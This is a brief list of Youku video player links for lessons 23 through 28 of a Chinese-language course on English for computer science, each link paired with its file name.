计算机专业英语23.flv
http://player.youku.com/player.php/sid/XNTA2NzQ2MDQ4/v.swf
计算机专业英语24.flv
http://player.youku.com/player.php/sid/XNTA2NjQyNjI4/v.swf
计算机专业英语25.flv
http://player.youku.com/player.php/sid/XNTA2NjQ1MTEy/v.swf
计算机专业英语26.flv
http://player.youku.com/player.php/sid/XNTA2NjUyODI0/v.swf
计算机专业英语27.flv
http://player.youku.com/player.php/sid/XNTA2NjUwMTA4/v.swf
计算机专业英语28.flv
http://player.youku.com/player.php/sid/XNTA2NjUwNDg0/v.swf